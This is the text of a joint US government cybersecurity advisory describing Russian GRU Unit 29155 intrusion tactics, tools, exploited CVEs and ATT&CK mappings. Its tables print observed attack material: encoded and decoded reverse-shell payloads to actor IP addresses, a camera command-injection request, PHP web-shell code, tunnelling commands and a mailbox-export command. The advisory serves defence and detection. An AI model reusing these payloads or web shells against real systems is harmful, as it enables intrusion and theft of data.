



# America's Cyber Defense Agency

NATIONAL COORDINATOR FOR CRITICAL INFRASTRUCTURE SECURITY AND RESILIENCE

## CYBERSECURITY ADVISORY

### Russian Military Cyber Actors Target US and Global Critical Infrastructure

**Release Date:** September 05, 2024

**Alert Code:** AA24-249A

**RELATED TOPICS:** [INCIDENT DETECTION, RESPONSE, AND PREVENTION](#) </topics/cyber-threats-and-advisories/incident-detection-response-and-prevention>, [MALWARE, PHISHING, AND RANSOMWARE](#) </topics/cyber-threats-and-advisories/malware-phishing-and-ransomware>, [NATION-STATE THREATS](#) </topics/cyber-threats-and-advisories/nation-state-cyber-actors>

## Summary

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and National Security Agency (NSA) assess that cyber actors affiliated with the Russian General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155) are responsible for computer network operations against global targets for the purposes of espionage, sabotage, and reputational harm since at least 2020. GRU Unit 29155 cyber actors began deploying the destructive [WhisperGate](https://attack.mitre.org/software/s0689/) <<https://attack.mitre.org/software/s0689/>> malware against multiple Ukrainian victim organizations as early as January 13, 2022. These cyber actors are separate from other known and more established GRU-affiliated cyber groups, such as Unit 26165 and Unit 74455.

To mitigate this malicious cyber activity, organizations should take the following actions today:

- Prioritize routine system updates and remediate known exploited vulnerabilities.
- Segment networks to prevent the spread of malicious activity.
- Enable phishing-resistant multifactor authentication (MFA) for all externally facing account services, especially for webmail, virtual private networks (VPNs), and accounts that access critical systems.

This Cybersecurity Advisory provides tactics, techniques, and procedures (TTPs) associated with Unit 29155 cyber actors—both during and succeeding their deployment of WhisperGate against Ukraine—as well as further analysis (see **Appendix A**) of the WhisperGate malware initially published in the joint advisory, [Destructive Malware Targeting Organizations in Ukraine](#) <<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-057a>>, published February 26, 2022.

FBI, CISA, NSA and the following partners are releasing this joint advisory as a collective assessment of Unit 29155 cyber operations since 2020:

- U.S. Department of the Treasury

Give Feedback

- U.S. Department of State (Rewards for Justice)
- U.S. Cyber Command Cyber National Mission Force (CNMF)
- Netherlands Defence Intelligence and Security Service (MIVD)
- Czech Military Intelligence (VZ)
- Czech Republic Security Information Service (BIS)
- German Federal Office for the Protection of the Constitution (BfV)
- Estonian Internal Security Service (KAPO)
- Latvian State Security Service (VDD)
- Security Service of Ukraine (SBU)
- Computer Emergency Response Team of Ukraine (CERT-UA)
- Canadian Security Intelligence Service (CSIS)
- Communications Security Establishment Canada (CSE)
- Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC)
- United Kingdom National Cyber Security Centre (NCSC-UK)

For additional information on Russian state-sponsored malicious cyber activity and related indictments, see the recent U.S. Department of Justice (DOJ) press releases for [June 26, 2024](https://www.justice.gov/opa/pr/russian-national-charged-conspiring-russia-military-intelligence-destroy-ukrainian) <<https://www.justice.gov/opa/pr/russian-national-charged-conspiring-russia-military-intelligence-destroy-ukrainian>>, and [September 5, 2024](https://www.justice.gov/opa/pr/five-russian-gru-officers-and-one-civilian-charged-conspiring-hack-ukrainian-government) <<https://www.justice.gov/opa/pr/five-russian-gru-officers-and-one-civilian-charged-conspiring-hack-ukrainian-government>>, FBI's [Cyber Crime webpage](https://www.fbi.gov/investigate/cyber), and CISA's [Russia Cyber Threat Overview and Advisories webpage](https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia).

Download the PDF version of this report:

 [AA24-249A Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure](/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf)

<[https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf](/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf)>  
(PDF, 1.01 MB )

For a downloadable copy of indicators of compromise (IOCs):

 [AA24-249A STIX XML](/sites/default/files/2024-09/aa24-249a.stix_.xml) <[https://www.cisa.gov/sites/default/files/2024-09/aa24-249a.stix\\_.xml](/sites/default/files/2024-09/aa24-249a.stix_.xml)>  
(XML, 321.47 KB )

 [AA24-249A STIX JSON](/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.stix_.json) <[https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.stix\\_.json](/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.stix_.json)>  
(JSON, 201.39 KB )

Give Feedback

## Technical Details

**Note:** This advisory uses the [MITRE ATT&CK® Matrix for Enterprise](https://attack.mitre.org/versions/v15/matrices/enterprise/) <<https://attack.mitre.org/versions/v15/matrices/enterprise/>> framework, version 15. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques.

## GRU Unit 29155: Cyber Component

FBI, NSA, and CISA assess Unit 29155 is responsible for attempted coups, sabotage and influence operations, and assassination attempts throughout Europe. Unit 29155 expanded their tradecraft to include offensive cyber operations since at least 2020. Unit 29155 cyber actors' objectives appear to include the collection of information for espionage purposes, reputational harm caused by the theft and leakage of sensitive information, and systematic sabotage caused by the destruction of data [T1485 <<https://attack.mitre.org/versions/v15/techniques/t1485/>>].

FBI assesses the Unit 29155 cyber actors to be junior active-duty GRU officers under the direction of experienced Unit 29155 leadership. These individuals appear to be gaining cyber experience and enhancing their technical skills through conducting cyber operations and intrusions. Additionally, FBI assesses Unit 29155 cyber actors rely on non-GRU actors, including known cyber-criminals and enablers to conduct their operations.

## Cybersecurity Industry Tracking

The cybersecurity industry provides overlapping cyber threat intelligence, IOCs, and mitigation recommendations related to Unit 29155 cyber actors. While not all encompassing, the following are the most notable threat group names related under [MITRE ATT&CK G1003](https://attack.mitre.org/groups/g1003) <<https://attack.mitre.org/groups/g1003>> and commonly used within the cybersecurity community.

- Cadet Blizzard (formerly known as DEV-0586 by Microsoft)[[1 <https://www.microsoft.com/en-us/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/>>](https://www.microsoft.com/en-us/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/)],[[2](#)]
- Ember Bear (also known as Bleeding Bear by CrowdStrike)[[3 <https://www.crowdstrike.com/blog/who-is-ember-bear/>>](https://www.crowdstrike.com/blog/who-is-ember-bear/)]
- Frozenvista
- UNC2589[[4 <https://cloud.google.com/blog/topics/threat-intelligence/russia-invasion-ukraine-retaliation/>>](https://cloud.google.com/blog/topics/threat-intelligence/russia-invasion-ukraine-retaliation/)]
- UAC-0056[[5 <https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/>>](https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/)]

**Note:** Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. Government's understanding for all activity related to these groupings.

## Victimization

In addition to WhisperGate and other incidents against Ukraine, Unit 29155 cyber actors have conducted computer network operations against numerous members of the North Atlantic Treaty Organization (NATO) in Europe and North America, as well as countries in Europe, Latin America, and Central Asia. The activity includes cyber campaigns such as website defacements, infrastructure scanning, data exfiltration, and data leak operations. These actors sell or publicly release exfiltrated victim data obtained from their compromises. Since early 2022, the primary focus of the cyber actors appears to be targeting and disrupting efforts to provide aid to Ukraine.

To date, the FBI has observed more than 14,000 instances of domain scanning across at least 26 NATO members and several additional European Union (EU) countries. Unit 29155 cyber actors have defaced victim websites and used public website domains to post exfiltrated victim information.

Whether through offensive operations or scanning activity, Unit 29155 cyber actors are known to target critical infrastructure and key resource sectors, including the government services, financial services, transportation systems, energy, and healthcare sectors of NATO members, the EU, Central American, and Asian countries.

## TPP Overview

### Reconnaissance

Unit 29155 cyber actors have been observed targeting IP ranges [T1595.001

<<https://attack.mitre.org/versions/v15/techniques/t1595/001/>> used within multiple government and critical infrastructure organizations. The following are publicly available tools these cyber actors have used for scanning [T1595

<<https://attack.mitre.org/versions/v15/techniques/t1595/>>] and vulnerability exploit efforts. Unit 29155 cyber actors were not observed using these tools outside of their intended purpose. **Note:** Use of these tools should not be attributed as malicious without analytical evidence to support threat actor use and/or control.

- **Acunetix:** Unit 29155 cyber actors leveraged both Acunetix and Nmap to identify open ports, services, and vulnerabilities for networks [T1595.002 <<https://attack.mitre.org/versions/v15/techniques/t1595/002/>>].[6  
<<https://www.acunetix.com/support/docs/introduction/>>]
- **Amass:** Unit 29155 cyber actors leveraged both Amass and VirusTotal to obtain subdomains for target websites [T1590.002 <<https://attack.mitre.org/versions/v15/techniques/t1590/002/>>].[7 <<https://github.com/owasp-amass/amass>>]
- **Droopescan**[8 <<https://kalilinuxtutorials.com/droopescan>>]
- **JoomScan**[9 <<https://github.com/owasp/joomscan>>]
- **MASSCAN:** Unit 29155 cyber actors used MASSCAN and Nmap to discover other machines once inside victim networks.[10 <<https://www.kali.org/tools/masscan>>]
- **Netcat**[11 <<https://www.digitalocean.com/community/tutorials/how-to-use-netcat-to-establish-and-test-tcp-and-udp-connections>>]
- **Nmap:** Once Unit 29155 cyber actors gained access to victim internal networks, they further used Nmap (via the Nmap Scripting Engine [NSE]) to write custom scripts for discovering and scanning other machines [T1046  
<<https://attack.mitre.org/versions/v15/techniques/t1046/>>].
- **Shodan:** Unit 29155 cyber actors used Shodan to identify hosts with a specific set of vulnerabilities or device types [T1596.005 <<https://attack.mitre.org/versions/v15/techniques/t1596/005/>>].[12 <<https://help.shodan.io/the-basics/what-is-shodan>>]
- **VirusTotal**[13 <<https://docs.virustotal.com/docs/how-it-works>>]
- **WPScan**

Additionally, Unit 29155 cyber actors have used infrastructure configured with OpenVPN configuration [T1572  
<<https://attack.mitre.org/versions/v15/techniques/t1572/>>] over port 1194, and in some instances, to perform Active Directory (AD) enumeration. Adminer in combination with Impacket <<https://attack.mitre.org/versions/v15/software/s0357>> and ldapdomaindump were tools used for gathering information on AD. Once active devices are found, Unit 29155 cyber actors look for vulnerabilities to exploit. For example, the Acunetix vulnerability scanning tool has been used for gathering information on potential vulnerabilities such as blind cross-site scripting, as shown in the following commands:

```
GET /index.php?log=to@example.com>%0d%0abcc:009247.3183-
377.3183.1bf6c.19446.2@bxss.me
```

```
"GET /CMS/files/log.htm HTTP/1.1" * * "(nslookup
hitccrvbrumn76c1b.bxss.me|perl -e
\"gethostbyname('hitccrvbrumn76c1b.bxss.me')\")"
```

As the cyber actors perform reconnaissance on victim networks and discover vulnerabilities within victim web servers or machines, they obtain CVE exploit scripts from GitHub repositories and use them against victim infrastructure [T1588.005 <<https://attack.mitre.org/versions/v15/techniques/t1588/005/>>]. Unit 29155 cyber actors have been observed obtaining the respective exploit scripts for, but not exploiting, the following CVEs:

- CVE-2020-1472 <<https://nvd.nist.gov/vuln/detail/cve-2020-1472>> (Microsoft: Windows Server)
- CVE-2021-26084 <<https://nvd.nist.gov/vuln/detail/cve-2021-26084>> (Atlassian Confluence Server and Data Center)
- CVE-2021-3156 <<https://nvd.nist.gov/vuln/detail/cve-2021-3156>> (Red Hat: Privilege Escalation via Command Line Argument Parsing)
- CVE-2021-4034 <<https://nvd.nist.gov/vuln/detail/cve-2021-4034>> (Red Hat: Polkit Privilege Escalation)
- CVE-2022-27666 <<https://nvd.nist.gov/vuln/detail/cve-2022-27666>> (Red Hat: Heap Buffer Overflow Flaw)

Analysis concluded Unit 29155 cyber actors have exploited the following CVEs for initial access [T1190 <<https://attack.mitre.org/versions/v15/techniques/t1190/>>], as detailed throughout this advisory:

- CVE-2021-33044 <<https://nvd.nist.gov/vuln/detail/cve-2021-33044>> (Dahua Security)
- CVE-2021-33045 <<https://nvd.nist.gov/vuln/detail/cve-2021-33045>> (Dahua Security)
- CVE-2022-26134 <<https://nvd.nist.gov/vuln/detail/cve-2022-26134>> (Atlassian Confluence Server and Data Center)
- CVE-2022-26138 <<https://nvd.nist.gov/vuln/detail/cve-2022-26138>> (Atlassian Confluence Server and Data Center)
- CVE-2022-3236 <<https://nvd.nist.gov/vuln/detail/cve-2022-3236>> (Sophos: Firewall)

## Resource Development

Rather than build custom solutions, Unit 29155 cyber actors use common red teaming techniques and publicly available tools to conduct cyber operations. As a result, many TTPs overlap with those of other cyber actors, which can lead to misattribution.

Unit 29155 actors and their cyber-criminal affiliates commonly maintain accounts on dark web forums; this has provided the opportunity to obtain various hacker tools such as malware and malware loaders [T1588.001 <<https://attack.mitre.org/versions/v15/techniques/t1588/001/>>] like Raspberry Robin and SaintBot. While Unit 29155 cyber actors are best known for their use of WhisperGate malware against Ukraine, the use of WhisperGate is not unique to the group. Technical analysis can be found in **Appendix A: WhisperGate Malware Analysis**.

## Initial Access

Unit 29155 cyber actors are known to use VPNs to anonymize their operational activity. These cyber actors commonly attempt to exploit weaknesses in internet-facing systems, like the CVEs listed above, to initially access networks. In one instance, Unit 29155 cyber actors exploited CVE-2021-33044 and CVE-2021-33045 on Dahua IP cameras to bypass identity authentication.

## Lateral Movement

Unit 29155 cyber actors have used Shodan to scan for Internet of Things (IoT) devices, using exploitation scripts to authenticate to IP cameras with default usernames and passwords [T1078.001 <<https://attack.mitre.org/versions/v15/techniques/t1078/001/>>], and exfiltrating images [T1125 <<https://attack.mitre.org/versions/v15/techniques/t1125/>>].

[<https://attack.mitre.org/versions/v15/techniques/t1125/>] (JPG files). Attempts are then made to perform remote command execution via web to vulnerable IP cameras; if successful, cyber actors would dump configuration settings and credentials in plaintext (as shown in **Table 1** below) [[T1552.001 <https://attack.mitre.org/versions/v15/techniques/t1552/001/>](https://attack.mitre.org/versions/v15/techniques/t1552/001/)].

**Appendix B: Indicators of Compromise** lists threat actor IP addresses associated with the activity detailed in this section.

**Note:** These events are independent and not correlated as a single timeline of compromise.

Event	Victim Observation
Web requests observed from victim infrastructure	<p>These requests are likely intended to dump configuration settings and credentials [<a href="https://attack.mitre.org/versions/v15/techniques/t1003/">T1003 &lt;https://attack.mitre.org/versions/v15/techniques/t1003/&gt;</a>]:</p> <pre>hxxp://&lt;IP&gt;:&lt;port&gt;/PictureCatch.cgi? username= &lt;NAME&gt;&amp;password=%3becho%20%22%3c%21-- %23include%20file=%22SYS_CFG%22-- %3e%22%3etmp/Login.htm%3b&amp;data_type=1&amp;a ttachment=1&amp;channel=1&amp;secret=1&amp;key=PWNE D  hxxp://&lt;IP&gt;: &lt;port&gt;/ssi.cgi/tmp/Login.htm</pre>
POST requests sent to victims with payloads [ <a href="https://attack.mitre.org/versions/v15/techniques/t1071/001/">T1071.001 &lt;https://attack.mitre.org/versions/v15/techniques/t1071/001/&gt;</a> ]	<pre>"txtUser=lol&amp;txtPassword=2&amp;btConnect=P iesl%C4%93gtiesbtConnect=Piesl%C4%93gti es&amp;chRemember=on&amp;txtPassword=g00dPa%24% 24w0rD&amp;txtUser=\$%7b@print(system(%22bas h%20- i%20%3E%26%20%2Fdev%2Ftcp%2F179.43.175. 38%2F6870%200%3E%261%22))%7d"  "txtUser=lol&amp;txtPassword=2&amp;btConnect=P iesl%C4%93gtiesbtConnect=Piesl%C4%93gti es&amp;chRemember=on&amp;txtPassword=g00dPa%24% 24w0rD&amp;txtUser=\$%7b@print(system(%22bas h%20- i%20%3E%26%20%2Fdev%2Ftcp%2F81.17.24.13 0%2F6870%200%3E%261%22))%7d"</pre>
URL encoded values from txtUser for both commands decoded to embedded bash commands	<pre> \${@print(system("bash -i &gt;&amp; /dev/tcp/179.43.175.38/6870 0&gt;&amp;1"))}   \${@print(system("bash -i &gt;&amp; /dev/tcp/81.17.24.130/6870 0&gt;&amp;1"))}</pre>

Give Feedback

In addition, incident analysis identified the general observations listed below on victim infrastructure. Each event should be considered independent and may have been used by Unit 29155 cyber actors against multiple victims at different dates and timeframes. **Appendix B: Indicators of Compromise** lists IOCs associated with the observations in **Table 1** and below.

- In one instance shortly following a deployment of WhisperGate malware, Unit 29155 cyber actors exfiltrated data to `mega[.]nz` using `Rclone <https://attack.mitre.org/versions/v15/software/s1040/>` [T1567.002 <<https://attack.mitre.org/versions/v15/techniques/t1567/002/>>].
- Unit 29155 cyber actors used a Pass-the-Hash [T1550.002 <<https://attack.mitre.org/versions/v15/techniques/t1550/002/>>] via ProxyChains.
- Cyber actors performed SSH and SSHPass executions.
- Cyber actors initiated a web request and executed commands via ProxyChains. This included obtaining NT hashes via Server Message Block (SMB) using `smbclient`, executing Windows Management Instrumentation (WMI) with hashes, and making web requests with resources `i.php` and `tunnel1.jsp`. In one instance, cyber actors used `smbclient` via ProxyChains to access internal network shares, and subsequently PSQL and MySQL clients to access internal databases.
- Cyber actors used Impacket for post-exploitation and lateral movement. The script `secretsdump.py` was used from the Impacket framework to obtain domain credentials, while `psexec.py` was subsequently used to move laterally within a victim network.
- Cyber actors used `ntlmrelayx.py` via Impacket and `krbrelayx.py`, which requires Impacket to function.
- Cyber actors used `Responder.py`.
- Cyber actors used `su-bruteforce` to brute force a selected user using the `su` command.
- Cyber actors used `BloodHound <https://attack.mitre.org/software/s0521/>`, an open source AD reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.
- Cyber actors used CrackMapExec via ProxyChains with SMB protocol targeting internal victim IP addresses. This open source post-exploitation tool automates assessing the security of large AD networks.
- Cyber actors used `LinPEAS`, an open source script designed to automate the process of searching for potential privilege escalation vulnerabilities on a Linux victim.
- Cyber actors used GO Simple Tunnel (GOST) (MD5: `896e0f54fc67d72d94b40d7885f10c51`) for 30 days within one incident and against additional victims on various occasions. GOST is a tunneling tool designed to establish secure connections between clients and servers, allowing for secure data transmission over untrusted networks.
- Cyber actors used Through the Wire against a victim's internet-facing Confluence server. Through the Wire is a proof of concept[14 <[https://github.com/jbaines-r7/through\\_the\\_wire](https://github.com/jbaines-r7/through_the_wire)>] exploit for CVE-2022-26134, an OGNL injection vulnerability allowing an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All versions of Confluence Server and Data Center prior to the fixed versions listed by Atlassian are affected by this vulnerability.[15 <<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>>] A reverse shell over HTTPS was used to communicate over listening host on port `8081`.
- Cyber actors initiated Nmap scans on localized web servers.
- Cyber actors performed lateral movement from compromised web servers to exploit a corporate Microsoft Windows network, commonly using `psexec.py` from the Impacket framework. The script `secretsdump.py` from the Impacket framework was used to obtain domain credentials.
- Cyber actors may have used Raspberry Robin malware in the role of an access broker [T1588.001 <<https://attack.mitre.org/versions/v15/techniques/t1588/001/>>].

- Cyber actors targeted victims' Microsoft Outlook Web Access (OWA) infrastructure with password spraying to obtain valid usernames and passwords [T1110.003 <<https://attack.mitre.org/versions/v15/techniques/t1110/003/>>].

## Command and Control

### Infrastructure

Since at least 2020, Unit 29155 cyber actors have used virtual private servers (VPSs) [T1583.003 <<https://attack.mitre.org/versions/v15/techniques/t1583/003/>>] to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data. Use of VPSs are common due to the associated IP addresses not identifying their true country of origin.

### Post-Exploitation

When an exploit is successfully executed on a victim system, the actors can then launch a Meterpreter payload [T1105 <<https://attack.mitre.org/versions/v15/techniques/t1105/>>], which commonly uses a reverse Transmission Control Protocol (TCP) connection to initiate communication with the threat actors' infrastructure [T1095 <<https://attack.mitre.org/versions/v15/techniques/t1095/>>]. In one instance, an established reverse TCP session was observed from victim to actor infrastructure via the following ports:

- 1234
- 1851
- 43221
- 443
- 4444
- 4688
- 5432
- 8080
- 8081
- 8082
- 8084
- 8085
- 8088
- 8089
- 8090
- 8443
- 8487
- 8888

Additional observations were collected from victim engagement and analysis, including:

- Use of the Metasploit Framework to search for and/or access modules such as mysql, postgres, and ssh software and features.
- Use of Meterpreter and Netcat to execute reverse shells over ports such as 8081.
- Use of Impacket.

- Use of PHP (`exp_door v1.0.2`, `b374k`, `WSO 4.0.5`) and the P.A.S.  
`<https://attack.mitre.org/versions/v15/software/s0598/>` web shells [T1505.003]  
`<https://attack.mitre.org/versions/v15/techniques/t1505/003/>`, likely for initial access.
- Use of EternalBlue.[16 `<https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>`],[17  
`<https://www.avast.com/c-eternalblue>`]
- Use of reGeorg or Neo-reGeorg to set up a proxy to tunnel network traffic following compromise of a victim website, as well as use of ProxyChains to run Nmap within the network.

## Encrypted Communication

Once Unit 29155 cyber actors gain access to the victims' internal network, the victims have observed:

1. Using Domain Name System (DNS) tunneling tools, such as dnscat/2 and Iodine, to tunnel IPv4 network traffic [T1071.004 `<https://attack.mitre.org/versions/v15/techniques/t1071/004/>`]. For example, Iodine was used to tunnel data via `dns.test658324901domain.me`.
2. Configuring a proxy within the victim infrastructure and executing commands within the network via ProxyChains. ProxyChains—a tool used to route internal traffic through a series of proxies [T1090.003 `<https://attack.mitre.org/versions/v15/techniques/t1090/003/>`]—has been used to provide further anonymity and modify system configuration to force network traffic through chains of SOCKS5 proxies and respective ports. The following ports used by actor infrastructure include:
  - a. 1080
  - b. 1333
  - c. 13381
  - d. 13391
  - e. 13666
  - f. 13871
  - g. 1448
  - h. 1888
  - i. 3130
  - j. 3140
  - k. 4337
  - l. 50001
  - m. 8079
3. Using the GOST open source tunneling tool (via SOCKS5 proxy) named `java`, as detailed in the following running processes in victim incident response results:

```
8212 - SJ 0:02.54 HISTFILE=/dev/null
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib OLDPWD=/tmp
PWD=/tmp/.ICE-unix HOME=/ RC PID=33980 ./java -L
socks5://127.0.0.1:13338
```

```
8282 - IJ 0:03.98 HISTFILE=/dev/null
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib OLDPWD=/tmp
```

```
PWD=/tmp/.ICE-unix HOME=/ RC_PID=33980 ./java -L
rtcp://0.0.0.0:13381/127.0.0.1:13338 -F socks5://{IP Address}:7896
```

1. Modifying .php scripts to manipulate server-side operations, such as the observations listed in **Table 2** below.

Script (Base64 Decoded)	Command	Purpose
usr/local/www/apache24/dat a/- redacted-/plugins/extension/o omla/oomla.php	<pre>if (isset(\$_POST ["sessionsid_wp"])) {     \$poll_id = \$_POST ["sessionsid_wp"];     \$sessii = explode(":", base64_decode(\$poll_id) );     \$sock=fsockopen(\$sessi i[0] , \$sessii[1]);     \$proc=proc_open('/bin/sh -i), array(0=&gt;\$sock, 1=&gt;\$sock, 2=&gt;\$sock) , \$pipes); }</pre>	Creates session.
Usr/local/www/apache24/dat a/- redacted-/plugins/authentication/joomla/oomla.php	<pre>function nb_res(\$a) {     eval(system('base64 decode (\$a) ')); }</pre>	Allows program to run.

Script (Base64 Decoded)	Command	Purpose
Usr/local/www/apache24/dat a-/ redacted-/plugins/privacy/con tact/contact.php	<pre> if (isset(\$_POST['f1']))  {     \$f1=\$_POST['f1'] ;      \$f2=\$_POST['f2'] ;      \$content = base64 decode(\$f1);  \$h = fopen(\$f2."w");  \$text = "\$content";  fwrite(\$h.\$text) ;  fclose (\$h) ;  } </pre>	Allows writing to files.

## Exfiltration

In several instances, analysis identified Unit 29155 cyber actors compressing victim data [T1560

<<https://attack.mitre.org/versions/v15/techniques/t1560/>>] (e.g., the entire filesystem, select file system artifacts or user data, and/or database dumps) to send back to their infrastructure. These cyber actors commonly use the command-line program Rclone to exfiltrate data to a remote location from victim infrastructure.

Unit 29155 cyber actors have exfiltrated Windows processes and artifacts, such as Local Security Authority Subsystem Service (LSASS) memory dumps [T1003.001 <<https://attack.mitre.org/versions/v15/techniques/t1003/001/>>], Security Accounts Manager (SAM) files [T1003.002 <<https://attack.mitre.org/versions/v15/techniques/t1003/002/>>], and SECURITY and SYSTEM event log files [T1654 <<https://attack.mitre.org/versions/v15/techniques/t1654/>>]. As seen in victim incident response results, actor infrastructure has also been used to compromise multiple mail servers [T1114 <<https://attack.mitre.org/versions/v15/techniques/t1114/>>] and exfiltrate mail artifacts, such as email messages, using PowerShell [T1059.001 <<https://attack.mitre.org/versions/v15/techniques/t1059/001/>>] via the following command:

```
powershell New-MailboxExportRequest - Mailbox <resource> - FilePath `\\{IP
Address}\sharefolder\1.pst`
```

## MITRE ATT&CK Tactics and Techniques

See **Table 3 to Table 14** for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's **Best Practices for MITRE ATT&CK Mapping** <<https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping>> and CISA's **Decider Tool** <<https://github.com/cisagov/decider/>>.

**Table 3: Reconnaissance**

Technique Title	ID	Use
Gather Victim Network Information: DNS	T1590.002 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1590/002/">https://attack.mitre.org/versions/v1/5/techniques/t1590/002/</a> >	Unit 29155 cyber actors have used Amass and VirusTotal to obtain information about victims' DNS for possible use during targeting, such as subdomains for target websites.
Active Scanning	T1595 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1595/">https://attack.mitre.org/versions/v1/5/techniques/t1595/</a> >	Unit 29155 cyber actors use publicly available tools to gather information for possible use during targeting.
Active Scanning: Scanning IP Blocks	T1595.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1595/001/">https://attack.mitre.org/versions/v1/5/techniques/t1595/001/</a> >	Unit 29155 cyber actors use various open source scanning tools to scan for victim IP ranges.
Active Scanning: Vulnerability Scanning	T1595.002 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1595/002/">https://attack.mitre.org/versions/v1/5/techniques/t1595/002/</a> >	Unit 29155 cyber actors use publicly available scanning tools to enable their discovery of IoT devices and exploitable vulnerabilities. Tools leveraged for scanning include Acunetix, Amass, Droopescan, eScan, and JoomScan.
Search Open Technical Databases: Scan Databases	T1596.005 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1596/005/">https://attack.mitre.org/versions/v1/5/techniques/t1596/005/</a> >	Unit 29155 cyber actors use publicly available platforms like Shodan to identify internet connected hosts.

**Table 4: Resource Development**

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1583/003/">https://attack.mitre.org/versions/v1/5/techniques/t1583/003/</a> >	Unit 29155 cyber actors have used VPSs to host their operational tools, perform reconnaissance, exploit victim infrastructure, and exfiltrate victim data.

Give Feedback

Technique Title	ID	Use
Obtain Capabilities: Malware	T1588.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1588/001/">https://attack.mitre.org/versions/v1/5/techniques/t1588/001/</a> >	Unit 29155 cyber actors obtain publicly available malware and malware loaders to support their operations. For example, analysis suggests Raspberry Robin malware may have been used in the role of an access broker.
Obtain Capabilities: Exploits	T1588.005 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1588/005/">https://attack.mitre.org/versions/v1/5/techniques/t1588/005/</a> >	Unit 29155 cyber actors are known to obtain CVE exploit scripts from GitHub repositories and use them against victim infrastructure.

**Table 5: Initial Access**

Technique Title	ID	Use
Valid Accounts: Default Accounts	T1078.001 < <a href="https://attack.mitre.org/versions/v15/techniques/t1078/001/">https://attack.mitre.org/versions/v15/techniques/t1078/001/</a> >	Unit 29155 cyber actors use exploitation scripts to authenticate to IP cameras with default usernames and passwords.
Exploit Public-Facing Application	T1190 < <a href="https://attack.mitre.org/versions/v15/techniques/t1190/">https://attack.mitre.org/versions/v15/techniques/t1190/</a> >	Unit 29155 cyber actors have used a variety of public exploits, including CVE-2021-33044, CVE-2021-33045, CVE-2022-26134, and CVE-2022-26138.  The proof of concept exploit for CVE-2022-26134, Through the Wire, has also been used against a victim's internet-facing Confluence server.

**Table 6: Execution**

Technique Title	ID	Use
Command and Scripting Interpreter: PowerShell	T1059.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1059/001/">https://attack.mitre.org/versions/v1/5/techniques/t1059/001/</a> >	Unit 29155 cyber actors have used PowerShell to execute commands and other operational tasks.

**Table 7: Persistence**

Technique Title	ID	Use

Give Feedback

Technique Title	ID	Use
Server Software Component: Web Shell	T1505.003 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1505/003/">https://attack.mitre.org/versions/v1/5/techniques/t1505/003/</a> >	Unit 29155 cyber actors use web shells to establish persistent access to systems.

**Table 8: Credential Access**

Technique Title	ID	Use
OS Credential Dumping: LSASS Memory	T1003.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1003/001/">https://attack.mitre.org/versions/v1/5/techniques/t1003/001/</a> >	Unit 29155 cyber actors have exfiltrated LSASS memory dumps to retrieve credentials from victim machines.
OS Credential Dumping: Security Account Manager	T1003.002 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1003/002/">https://attack.mitre.org/versions/v1/5/techniques/t1003/002/</a> >	Unit 29155 cyber actors have exfiltrated usernames and hashed passwords from the SAM.
Brute Force: Password Spraying	T1110.003 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1110/003/">https://attack.mitre.org/versions/v1/5/techniques/t1110/003/</a> >	Unit 29155 cyber actors targeted victims' Microsoft OWA infrastructure with password spraying to obtain valid usernames and passwords.
Unsecured Credentials: Credentials in Files	T1552.001 < <a href="https://attack.mitre.org/versions/v1/5/techniques/t1552/001/">https://attack.mitre.org/versions/v1/5/techniques/t1552/001/</a> >	Following exploitation of vulnerable IP cameras, Unit 29155 cyber actors dump configuration settings and credentials in plaintext.

**Table 9: Discovery**

Technique Title	ID	Use
